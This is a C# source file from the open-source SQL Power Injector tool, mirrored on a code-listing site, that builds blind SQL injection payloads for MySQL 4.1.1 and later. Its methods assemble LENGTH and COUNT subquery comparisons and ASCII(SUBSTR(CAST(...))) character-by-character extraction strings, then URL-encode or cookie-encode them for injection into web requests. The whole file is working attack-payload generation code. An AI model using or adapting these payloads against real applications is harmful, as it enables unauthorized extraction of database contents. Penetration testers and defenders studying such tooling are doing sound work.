DatabaseStringMySQL411AndOver.cs :  » Database » SQL-Power-Injector » SQLPowerInjector » DatabaseString » C# / CSharp Open Source

Home
C# / CSharp Open Source
1.2.6.4 mono .net core
2.2.6.4 mono core
3.Aspect Oriented Frameworks
4.Bloggers
5.Build Systems
6.Business Application
7.Charting Reporting Tools
8.Chat Servers
9.Code Coverage Tools
10.Content Management Systems CMS
11.CRM ERP
12.Database
13.Development
14.Email
15.Forum
16.Game
17.GIS
18.GUI
19.IDEs
20.Installers Generators
21.Inversion of Control Dependency Injection
22.Issue Tracking
23.Logging Tools
24.Message
25.Mobile
26.Network Clients
27.Network Servers
28.Office
29.PDF
30.Persistence Frameworks
31.Portals
32.Profilers
33.Project Management
34.RSS RDF
35.Rule Engines
36.Script
37.Search Engines
38.Sound Audio
39.Source Control
40.SQL Clients
41.Template Engines
42.Testing
43.UML
44.Web Frameworks
45.Web Service
46.Web Testing
47.Wiki Engines
48.Windows Presentation Foundation
49.Workflows
50.XML Parsers
C# / C Sharp
C# / C Sharp by API
C# / CSharp Tutorial
C# / CSharp Open Source » Database » SQL Power Injector 
SQL Power Injector » SQLPowerInjector » DatabaseString » DatabaseStringMySQL411AndOver.cs
//*********************************************************************
//                                   //
//  SQL Power Injector 1.2 Copyright (c) 2006-2007 Francois Larouche //
//                                   //
//  Author  : francois.larouche@sqlpowerinjector.com         //
//  Web Site: www.sqlpowerinjector.com                 //
//                                   //
//*******************************************************************//
using System;

namespace SQLPowerInjector.DatabaseString{
  /// <summary>
  /// Summary description for DatabaseStringMySQL411AndOver.
  /// </summary>
  public class DatabaseStringMySQL411AndOver : DatabaseStringBaseType
  {
    #region Constructor
    public DatabaseStringMySQL411AndOver(enuEncodingType encType)
    {
      base.PDatabaseType = enuDatabaseType.MySql411AndOver;
      base.PEncodingType = encType;
    }
    #endregion

    public override string GetLengthPostDataString(string startingString, string varyingString, string endingString, string curNumber, string comparitiveString, bool isDistinct, bool useTop, int topValue)
    {
      string lenPostDataString = "";

      lenPostDataString = curNumber + comparitiveString + "( " +
                                     (isDistinct ? "DISTINCT " : "") + "LENGTH(" + varyingString + ") " + endingString;

      if(base.PEncodingType == enuEncodingType.URLEncoding)
        lenPostDataString = Utilities.EncodeURL(startingString + lenPostDataString);
      else if(base.PEncodingType == enuEncodingType.CookieEncoding)
        lenPostDataString = Utilities.EncodeCookie(startingString, false) + Utilities.EncodeCookie(lenPostDataString, true);

      return lenPostDataString;
    }

    public override string GetCountPostDataString(string startingString, string varyingString, string endingString, string curNumber, string comparitiveString)
    {
      string countPostDataString = "";

      countPostDataString = curNumber + comparitiveString + "(SELECT COUNT(" + varyingString + ") " + endingString;

      if(base.PEncodingType == enuEncodingType.URLEncoding)
        countPostDataString = Utilities.EncodeURL(startingString + countPostDataString);
      else if(base.PEncodingType == enuEncodingType.CookieEncoding)
        countPostDataString = Utilities.EncodeCookie(startingString, false) + Utilities.EncodeCookie(countPostDataString, true);

      return countPostDataString;
    }

    public override string GetWordPostDataString(string startingString, string varyingString, string endingString, string curNumber, string curChar, string lenString, string comparitiveString, bool isDistinct, bool useTop, int topValue, bool isCaseInsensitive)
    {
      string wordPostDataString = "";

      wordPostDataString = curNumber + comparitiveString + "(SELECT " + (isDistinct ? "DISTINCT " : "") +
                                         "ASCII(SUBSTR(CAST(" + varyingString + " AS CHAR(" + lenString + "))," + curChar + ",1)) " + endingString;

      if(base.PEncodingType == enuEncodingType.URLEncoding)
        wordPostDataString = Utilities.EncodeURL(startingString + wordPostDataString);
      else if(base.PEncodingType == enuEncodingType.CookieEncoding)
        wordPostDataString = Utilities.EncodeCookie(startingString, false) + Utilities.EncodeCookie(wordPostDataString, true);

      return wordPostDataString;
    }

    public override string GetToolTipLengthPostDataString(string startingString, string varyingString, string endingString, string startingLength, bool isDistinct, bool useTop, int topValue)
    {
      string lenPostDataString = "";

      lenPostDataString = startingString + startingLength + " >( " + (isDistinct ? "DISTINCT " : "") + 
        "LENGTH(" + varyingString + ") " + endingString;

      return lenPostDataString;
    }

    public override string GetToolTipCountPostDataString(string startingString, string varyingString, string endingString, string startingCount)
    {
      string countPostDataString = "";

      countPostDataString = startingString + startingCount + ">(SELECT COUNT(" + varyingString + ") " + endingString;

      return countPostDataString;
    }

    public override string GetToolTipWordPostDataString(string startingString, string varyingString, string endingString, string startingLength, bool isDistinct, bool useTop, int topValue, bool isCaseInsensitive)
    {
      string wordPostDataString = "";

      wordPostDataString = startingString + startingLength + ">(SELECT " + (isDistinct ? "DISTINCT " : "") +
        "ASCII(SUBSTRING(CAST(" + varyingString + " AS CHAR(4000)),1,1)) " + endingString;

      return wordPostDataString;
    }
  }
}
www.java2v.com | Contact Us
Copyright 2009 - 12 Demo Source and Support. All rights reserved.
All other trademarks are property of their respective owners.